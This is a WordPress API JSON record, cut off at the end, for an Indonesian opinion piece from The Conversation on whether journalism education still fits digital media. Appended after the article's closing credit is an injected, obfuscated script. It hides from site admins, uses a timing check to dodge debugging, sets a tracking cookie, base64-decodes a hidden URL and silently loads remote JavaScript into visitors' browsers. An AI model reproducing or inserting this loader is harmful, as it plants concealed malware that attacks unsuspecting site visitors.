{"id":17849,"date":"2025-07-27T17:26:07","date_gmt":"2025-07-27T10:26:07","guid":{"rendered":"https:\/\/edisi.co\/?p=17849"},"modified":"2025-10-25T03:07:25","modified_gmt":"2025-10-24T20:07:25","slug":"benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital","status":"publish","type":"post","link":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/","title":{"rendered":"Benarkah Pendidikan Jurnalisme sudah tak Relevan dengan Perkembangan Media\u00a0Digital?"},"content":{"rendered":"\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">\u25cf Pendidikan jurnalisme dinilai tidak lagi relevan dengan dinamika kebutuhan industri dan perkembangan teknologi digital.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u25cf Perubahan teknologi, profesi, dan proses produksi menuntut jurnalis untuk tetap kritis.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u25cf Pendidikan jurnalisme harus tetap menanamkan idealisme, keberpihakan pada publik, dan kesadaran etis.<\/p>\n<\/blockquote>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><a href=\"http:\/\/edisi.co\">EDISI.CO, CATATAN EDISIAN<\/a><\/strong>&#8211; Wacana tentang <a href=\"https:\/\/dtai.tsue.uz\/index.php\/DTAI2024\/article\/view\/uzokova1\">pendidikan jurnalisme yang tak lagi relevan<\/a> di kampus-kampus\u2014termasuk di Indonesia\u2014dengan kebutuhan dan perkembangan <a href=\"https:\/\/theconversation.com\/journalism-has-changed-education-must-reflect-the-reality-176944\">teknologi<\/a> dan industri semakin mengemuka.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Kampus dianggap mengajarkan praktik <a href=\"https:\/\/dtai.tsue.uz\/index.php\/DTAI2024\/article\/view\/uzokova1\">jurnalisme cara lama<\/a>. Praktik ini menafikan situasi lingkungan digital yang identik dengan kecepatan, kemenarikan, keringkasan serta konten yang dapat dibagikan lintas <em>platform<\/em> pada media sosial.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Pendidikan jurnalisme saat ini menghadapi tuntutan untuk menghasilkan tenaga kerja siap pakai. Sesuai dengan mekanisme <a href=\"https:\/\/www.lamspak.id\/wp-content\/uploads\/2025\/01\/Lampiran-48-Matriks-Penilaian-Akreditasi-Unggul-Sarjana-Instrumen-Unggul-Skor-2.pdf\">akreditasi program studi<\/a> yang selalu dikaitkan dengan bagaimana lulusan dapat diserap industri dan persepsi pengguna terhadap kinerja mereka.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Namun, sebagai pengajar media dan jurnalisme, kami percaya bahwa pendidikan jurnalisme seharusnya menghasilkan lulusan yang memberikan warna pada media.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Harapannya, pendidikan dapat mengembalikan esensi jurnalisme pada apa yang khalayak perlu tahu bukan hanya ingin tahu. Terlebih di tengah industri yang semakin kapitalis dan tidak jarang merugikan kepentingan <a href=\"https:\/\/cipg.or.id\/en\/publication\/creating-content-shaping-society\/\">publik<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Tantangan pendidikan jurnalisme<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Supaya tetap relevan dengan tantangan media digital, kurikulum pendidikan jurnalisme perlu mempertimbangkan tiga isu utama yakni teknologi, profesi dan produksi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1. Tantangan teknologi<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Praktik jurnalisme menghadapi apa yang disebut \u201csenja kala media\u201d. Ini diawali dengan <a href=\"https:\/\/www.niemanlab.org\/2018\/09\/what-will-happen-when-newspapers-kill-print-and-go-online-only-most-of-that-print-audience-will-just-disappear\/\">tutupnya media cetak<\/a> dan peralihannya ke media <em>online<\/em>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Hal ini tidak lepas dari <a href=\"https:\/\/money.kompas.com\/read\/2009\/07\/16\/16015757\/survei.%20nielsen.pembaca.media.cetak.makin.turun\">rendahnya<\/a> keterbacaan konten berita. <a href=\"https:\/\/jakartaglobe.id\/news\/indonesias-media-hit-by-layoffs-ad-slump-and-rise-of-fast-journalism\">Turunnya industri penyiaran konvensional<\/a> tersebut ditandai dengan tutupnya beberapa stasiun televisi yang diikuti dengan <em>layoff<\/em> besar-besaran.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sementara itu, berbagai produk media sosial menunjukkan perkembangan pesat, misalnya jumlah <a href=\"https:\/\/www.theguardian.com\/tv-and-radio\/2023\/jun\/03\/20-years-of-podcasting\">podcast<\/a> yang semakin menjamur. Kehadiran platform media sosial seperti <a href=\"https:\/\/datareportal.com\/essential-tiktok-stats\">TikTok<\/a> dan Youtube juga melahirkan produk jurnalisme baru seperti <em>podcast<\/em> jurnalistik, <em>mobile journalism<\/em>, dan lain-lain.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Media sosial juga membuat jurnalisme menjadi lebih personal. Media harus berinteraksi dengan audiens melalui kolom komentar, menanggapi <a href=\"https:\/\/theconversation.com\/how-audience-data-is-shaping-canadian-journalism-223619\"><em>pressure<\/em><\/a> dari audiens serta melakukan <em>gimmick<\/em> agar selalu diingat publiknya. Misalnya dengan memberikan <em>give away<\/em> ataupun upaya-upaya lain yang digunakan untuk menjaga kedekatan serta interaktivitas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Bentuk jurnalisme yang berubah menjadi sangat personal ini menunjukkan bagaimana <a href=\"https:\/\/www.tandfonline.com\/doi\/full\/10.1080\/1461670X.2021.1977168\">emosi<\/a>, informalitas, keintiman digital dapat meredefinisi serta mereduksi praktik maupun persepsi jurnalisme di era digital.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ini mendorong setiap <em>newsroom<\/em> untuk memproduksi berita yang sensasional atau sarat emosi. Alih-alih menjadi <em>watchdog<\/em> dalam <a href=\"https:\/\/www.tandfonline.com\/doi\/pdf\/10.1080\/13511610.1993.9968351\">demokrasi<\/a>, jurnalis tereduksi menjadi seorang <em>influencer<\/em> digital dalam ekosistem buruh yang rentan eksploitasi. Jurnalispun menjadi bagian dari <em><a href=\"https:\/\/journals.sagepub.com\/doi\/10.1177\/1536504214558209\">precariat labor<\/a><\/em>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2. Tantangan profesi<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sebelum era internet, <a href=\"https:\/\/www.tandfonline.com\/doi\/pdf\/10.1080\/08900520701583545\">jurnalis dianggap sebagai satu-satunya sumber dan pembentuk informasi<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Setelah lahirnya internet dan media sosial, jurnalis kehilangan keistimewaan sebagai informan disaingi oleh kehadiran <a href=\"https:\/\/journals.sagepub.com\/doi\/abs\/10.1177\/1461444809341393\"><em>citizen journalism<\/em><\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Demokratisasi media ini memunculkan profesi baru yaitu kreator konten yang sering dianggap sama dengan jurnalis. Bahkan, <a href=\"https:\/\/www.espos.id\/lowongan-reporter-content-creator-solopos-media-group-1323368\">lowongan awak redaksi<\/a> justru lebih banyak membutuhkan kreator konten atau <em>video creator<\/em>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Baca juga: <a href=\"https:\/\/edisi.co\/2025\/07\/22\/batam-siap-jadi-tuan-rumah-silatnas-aliansi-sasak-lombok\/\">Batam Siap jadi Tuan Rumah Silatnas Aliansi Sasak Lombok<\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jurnalis bukanlah kreator konten. Sebab, kreator konten tidak bekerja dengan <em>mindset<\/em>, konsep dasar, dan etika jurnalis yang mengandung aspek <a href=\"https:\/\/www.tandfonline.com\/doi\/full\/10.1080\/1461670X.2024.2406814\">etis, skill dan kritis<\/a>. <a href=\"https:\/\/www.kompas.id\/artikel\/content-creator-sebagai-saluran-jurnalistik\">Parameter <em>content creator<\/em><\/a> adalah <em>engagement<\/em> bukan kedalaman informasi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Kreator konten mengutamakan viralitas. Sedangkan jurnalis seharusnya menghasilkan resonansi yang menggerakkan diskursus kritis.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Kreator konten peduli pada isi yang menghasilkan sentimen positif dan <em>click<\/em>. Sedangkan jurnalis tidak terlalu peduli pada <a href=\"https:\/\/www.kompas.id\/artikel\/en-di-balik-evolusi-berita-media-daring-menjadi-clickbait\"><em>click<\/em><\/a> karena yang dikejar adalah kepentingan publik.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Kehadiran media sosial yang berbasis visual juga menyeret jurnalis berorientasi pada performa. Siaran <a href=\"https:\/\/www.wired.com\/2015\/09\/journalists-can-now-broadcast-live-facebook\/\"><em>live<\/em><\/a> melalui media sosial membuat wartawan harus mampu menjadi presenter handal, kreator konten yang menarik sekaligus legitimasi sebagai wartawan agar informasi yang disampaikan kredibel.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Media \u201cdiharuskan\u201d untuk lebih memilih <a href=\"https:\/\/www.youtube.com\/@TempoVideoChannel\/podcasts\"><em>byline<\/em><\/a> daripada menampilkan pembaca berita. Karena terus menonjolkan kemunculan performa fisik, mereka sudah seperti selebritas. Konsekuensinya, jurnalis harus berpenampilan menarik, memiliki <em>fans<\/em>, dan kehadirannya mengundang perhatian publik.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3. Tantangan produksi<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Hadirnya teknologi yang menghasilkan analisis <em><a href=\"https:\/\/reutersinstitute.politics.ox.ac.uk\/our-research\/big-data-media\">big data<\/a>,<\/em> <a href=\"https:\/\/reutersinstitute.politics.ox.ac.uk\/news\/ai-and-journalism-whats-next\">AI<\/a> serta berbagai fasilitas serupa mempermudah kerja jurnalis.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Kehadiran media sosial dan turunannya juga membuat <a href=\"https:\/\/ijoc.org\/index.php\/ijoc\/article\/view\/14553\/3273\">proses produksi <em>newsroom<\/em> yang bertahap, bertingkat dan formal berubah menjadi lebih singkat dan pendek<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ringkasnya proses produksi informasi dan berita melalui media sosial membuat populisme makin tumbuh subur karena politisi akan lebih memilih berbicara di <em>podcast<\/em> daripada harus melewati serangkaian prosedur rumit untuk tampil di media berita konvensional.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Selain itu, merosotnya <a href=\"https:\/\/www.pewresearch.org\/short-reads\/2023\/11\/28\/audiences-are-declining-for-traditional-news-media-in-the-us-with-some-exceptions\/\">pembaca dan <em>subscriber<\/em><\/a> membuat perusahaan media harus menyesuaikan dengan gaya audiens.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Analisis <a href=\"https:\/\/www.bloomberg.com\/news\/articles\/2018-08-20\/gen-z-to-outnumber-millennials-within-a-year-demographic-trends\">Bloomberg<\/a> tahun 2018 menunjukkan bahwa populasi Gen Z di dunia telah menyalip dominasi milenial. <a href=\"https:\/\/cdn.idntimes.com\/content-documents\/indonesia-gen-z-report-2024.pdf\">Indonesia Gen Z Report<\/a> tahun 2024 juga menunjukkan generasi Z merupakan kelompok terbesar setelah milenial.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Artinya, audiens yang mayoritas muda tersebut mengonsumsi <a href=\"https:\/\/www.pewresearch.org\/short-reads\/2024\/09\/17\/more-americans-regularly-get-news-on-tiktok-especially-young-adults\/\">informasi melalui media sosial<\/a> bukan media cetak, elektronik, atau <em>online<\/em>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.bostonbrandmedia.com\/news\/people-media-the-role-of-individuals-in-creating-and-sharing-information\">Audiens itu sendiri<\/a> adalah pelaku desentralisasi informasi karena mampu menghasilkan dan menyebarkan informasi melalui beragam <em>platform<\/em> media sosial privat.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Akhirnya, bermunculan banyak \u201cmedia\u201d yang tidak lagi tumbuh melalui organisasi jurnalistik resmi. Media-media tersebut didirikan oleh individu penghasil informasi yang kemudian memformalkan <em>channel<\/em>-nya menjadi media. Misalnya, membangun <a href=\"https:\/\/afu.id\/\">institusi media<\/a> dengan modal <em>subscriber<\/em> yang telah terbentuk di <a href=\"https:\/\/www.youtube.com\/@AkbarFaizalUncensored\">YouTube channel<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Pendidikan jurnalisme yang relevan<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Dalam konteks pendidikan jurnalisme, kampus-kampus perlu memikirkan bagaimana mentransfer pengetahuan kepada mahasiswa tentang idealisme jurnalisme yang tidak harus larut dengan logika industri.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mahasiswa jurnalisme harus sadar bahwa banyak kelompok yang dimarjinalkan oleh <a href=\"https:\/\/theconversation.com\/womens-voices-are-missing-in-the-media-including-them-could-generate-billions-in-income-196302\">media<\/a>, isu-isu yang tidak pernah disentuh karena tidak selaras dengan <a href=\"https:\/\/theweek.com\/briefing\/1023338\/algorithm-ai-discrimination\">algoritma<\/a>, ataupun penulisan-penulisan yang dangkal agar ramah <a href=\"https:\/\/blog.tempoinstitute.com\/berita\/komponen-seo\">SEO<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mereka juga harus paham bahwa jurnalis perlu dilindungi tidak hanya fisiknya tetapi juga ideologinya. Kehadiran <a href=\"https:\/\/www.pewresearch.org\/journalism\/2022\/06\/14\/many-journalists-say-social-media-helps-at-work-but-most-decry-its-impact-on-journalism\/\">media sosial<\/a> dalam lingkungan digital terkadang justru <a href=\"https:\/\/journals.sagepub.com\/doi\/full\/10.1177\/20563051221129156\">kontraproduktif<\/a> dengan berbagai esensi tersebut.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tentu, perdebatan tentang bagaimana kurikulum jurnalisme harusnya dikembangkan di kampus-kampus tidak akan pernah tuntas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Namun, kesadaran bahwa ada banyak ruang abu-abu yang hadir, dapat menjadi alarm bagi semua bahwa mencetak jurnalis yang sadar terhadap esensi jauh lebih penting dari sekadar memenuhi ekspektasi industri.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<figure class=\"wp-block-embed is-type-wp-embed is-provider-tally-forms wp-block-embed-tally-forms\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" title=\"Tally Forms\" src=\"https:\/\/tally.so\/embed\/n9jZ9V?alignLeft=1&#038;hideTitle=1&#038;transparentBackground=1&#038;dynamicHeight=1#?secret=b5Joy85xiR\" data-secret=\"b5Joy85xiR\" width=\"100%\" height=\"100%\" frameborder=\"0\" marginheight=\"0\" marginwidth=\"0\" scrolling=\"auto\"><\/iframe>\n<\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Penulis: <a href=\"https:\/\/theconversation.com\/profiles\/senja-yustitia-1515258\">Senja Yustitia<\/a>, Dosen, <em><a href=\"https:\/\/theconversation.com\/institutions\/universitas-muhammadiyah-yogyakarta-3332\">Universitas Muhammadiyah Yogyakarta<\/a><\/em> dan <a href=\"https:\/\/theconversation.com\/profiles\/firly-annisa-1334290\">Firly Annisa<\/a>, Associate Professor, <em><a href=\"https:\/\/theconversation.com\/institutions\/universitas-muhammadiyah-yogyakarta-3332\">Universitas Muhammadiyah Yogyakarta<\/a><\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Artikel ini terbit pertama kali di <a href=\"https:\/\/theconversation.com\">The Conversation<\/a>. Baca <a href=\"https:\/\/theconversation.com\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital-261196\">artikel sumber<\/a>.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u25cf Pendidikan jurnalisme dinilai tidak lagi relevan dengan dinamika kebutuhan industri dan perkembangan teknologi digital.<\/p>\n","protected":false},"author":2,"featured_media":16662,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4893,2262],"tags":[],"class_list":["post-17849","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-catatan-edisian","category-nasional"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Benarkah Pendidikan Jurnalisme sudah tak Relevan dengan Perkembangan Media\u00a0Digital?<\/title>\n<meta name=\"description\" content=\"Wacana tentang pendidikan jurnalisme yang tak lagi relevan di kampus-kampus\u2014termasuk di Indonesia\u2014dengan kebutuhan\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/\" \/>\n<meta property=\"og:locale\" content=\"id_ID\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Benarkah Pendidikan Jurnalisme sudah tak Relevan dengan Perkembangan Media\u00a0Digital?\" \/>\n<meta property=\"og:description\" content=\"Wacana tentang pendidikan jurnalisme yang tak lagi relevan di kampus-kampus\u2014termasuk di Indonesia\u2014dengan kebutuhan\" \/>\n<meta property=\"og:url\" content=\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/\" \/>\n<meta property=\"og:site_name\" content=\"Edisi\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Edisico-102666665780112\" \/>\n<meta property=\"article:published_time\" content=\"2025-07-27T10:26:07+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-24T20:07:25+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/edisi.co\/wp-content\/uploads\/2024\/05\/WhatsApp-Image-2024-05-27-at-12.10.12.jpeg\" \/>\n\t<meta property=\"og:image:width\" content=\"1600\" \/>\n\t<meta property=\"og:image:height\" content=\"1066\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Bobi\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@edisi_co\" \/>\n<meta name=\"twitter:site\" content=\"@edisi_co\" \/>\n<meta name=\"twitter:label1\" content=\"Ditulis oleh\" \/>\n\t<meta name=\"twitter:data1\" content=\"Bobi\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimasi waktu membaca\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 menit\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/\"},\"author\":{\"name\":\"Bobi\",\"@id\":\"https:\/\/edisi.co\/#\/schema\/person\/6d99b6e4c7daa385fac75d76deb26690\"},\"headline\":\"Benarkah Pendidikan Jurnalisme sudah tak Relevan dengan Perkembangan Media\u00a0Digital?\",\"datePublished\":\"2025-07-27T10:26:07+00:00\",\"dateModified\":\"2025-10-24T20:07:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/\"},\"wordCount\":948,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/edisi.co\/#organization\"},\"image\":{\"@id\":\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/edisi.co\/wp-content\/uploads\/2024\/05\/WhatsApp-Image-2024-05-27-at-12.10.12.jpeg\",\"articleSection\":[\"CATATAN EDISIAN\",\"NASIONAL\"],\"inLanguage\":\"id\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/\",\"url\":\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/\",\"name\":\"Benarkah Pendidikan Jurnalisme sudah tak Relevan dengan Perkembangan Media\u00a0Digital?\",\"isPartOf\":{\"@id\":\"https:\/\/edisi.co\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/edisi.co\/wp-content\/uploads\/2024\/05\/WhatsApp-Image-2024-05-27-at-12.10.12.jpeg\",\"datePublished\":\"2025-07-27T10:26:07+00:00\",\"dateModified\":\"2025-10-24T20:07:25+00:00\",\"description\":\"Wacana tentang pendidikan jurnalisme yang tak lagi relevan di kampus-kampus\u2014termasuk di Indonesia\u2014dengan kebutuhan\",\"breadcrumb\":{\"@id\":\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#breadcrumb\"},\"inLanguage\":\"id\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"id\",\"@id\":\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#primaryimage\",\"url\":\"https:\/\/edisi.co\/wp-content\/uploads\/2024\/05\/WhatsApp-Image-2024-05-27-at-12.10.12.jpeg\",\"contentUrl\":\"https:\/\/edisi.co\/wp-content\/uploads\/2024\/05\/WhatsApp-Image-2024-05-27-at-12.10.12.jpeg\",\"width\":1600,\"height\":1066,\"caption\":\"Jurnalis yang tergabung dalam Aliansi Jurnalis Kepulauan Riau (Kepri) melakukan aksi unjuk rasa menolak Rancangan Undang-Undang (RUU) Penyiaran.\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/edisi.co\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Benarkah Pendidikan Jurnalisme sudah tak Relevan dengan Perkembangan Media\u00a0Digital?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/edisi.co\/#website\",\"url\":\"https:\/\/edisi.co\/\",\"name\":\"Edisi\",\"description\":\"Energi Informasi\",\"publisher\":{\"@id\":\"https:\/\/edisi.co\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/edisi.co\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"id\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/edisi.co\/#organization\",\"name\":\"Edisi\",\"url\":\"https:\/\/edisi.co\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"id\",\"@id\":\"https:\/\/edisi.co\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/i0.wp.com\/edisi.co\/wp-content\/uploads\/2022\/06\/cropped-LOGO-EDISI-1-1.png?fit=512%2C512&ssl=1\",\"contentUrl\":\"https:\/\/i0.wp.com\/edisi.co\/wp-content\/uploads\/2022\/06\/cropped-LOGO-EDISI-1-1.png?fit=512%2C512&ssl=1\",\"width\":512,\"height\":512,\"caption\":\"Edisi\"},\"image\":{\"@id\":\"https:\/\/edisi.co\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/Edisico-102666665780112\",\"https:\/\/x.com\/edisi_co\",\"https:\/\/www.instagram.com\/edisi.co\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/edisi.co\/#\/schema\/person\/6d99b6e4c7daa385fac75d76deb26690\",\"name\":\"Bobi\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"id\",\"@id\":\"https:\/\/edisi.co\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/e6a18ff58267d1259b30d316fda0ad4c4d27fbaafdc2ab630458e38a4630f6f8?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/e6a18ff58267d1259b30d316fda0ad4c4d27fbaafdc2ab630458e38a4630f6f8?s=96&d=mm&r=g\",\"caption\":\"Bobi\"},\"description\":\"Penulis edisi.co bermukim di Kampung Monggak, Kelurahan Rempang Cate, Kecamatan Galang, kawasan pesisir Batam.\",\"sameAs\":[\"http:\/\/editorian.id\"],\"url\":\"https:\/\/edisi.co\/author\/bobi\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Benarkah Pendidikan Jurnalisme sudah tak Relevan dengan Perkembangan Media\u00a0Digital?","description":"Wacana tentang pendidikan jurnalisme yang tak lagi relevan di kampus-kampus\u2014termasuk di Indonesia\u2014dengan kebutuhan","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/","og_locale":"id_ID","og_type":"article","og_title":"Benarkah Pendidikan Jurnalisme sudah tak Relevan dengan Perkembangan Media\u00a0Digital?","og_description":"Wacana tentang pendidikan jurnalisme yang tak lagi relevan di kampus-kampus\u2014termasuk di Indonesia\u2014dengan kebutuhan","og_url":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/","og_site_name":"Edisi","article_publisher":"https:\/\/www.facebook.com\/Edisico-102666665780112","article_published_time":"2025-07-27T10:26:07+00:00","article_modified_time":"2025-10-24T20:07:25+00:00","og_image":[{"width":1600,"height":1066,"url":"https:\/\/edisi.co\/wp-content\/uploads\/2024\/05\/WhatsApp-Image-2024-05-27-at-12.10.12.jpeg","type":"image\/jpeg"}],"author":"Bobi","twitter_card":"summary_large_image","twitter_creator":"@edisi_co","twitter_site":"@edisi_co","twitter_misc":{"Ditulis oleh":"Bobi","Estimasi waktu membaca":"6 menit"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#article","isPartOf":{"@id":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/"},"author":{"name":"Bobi","@id":"https:\/\/edisi.co\/#\/schema\/person\/6d99b6e4c7daa385fac75d76deb26690"},"headline":"Benarkah Pendidikan Jurnalisme sudah tak Relevan dengan Perkembangan 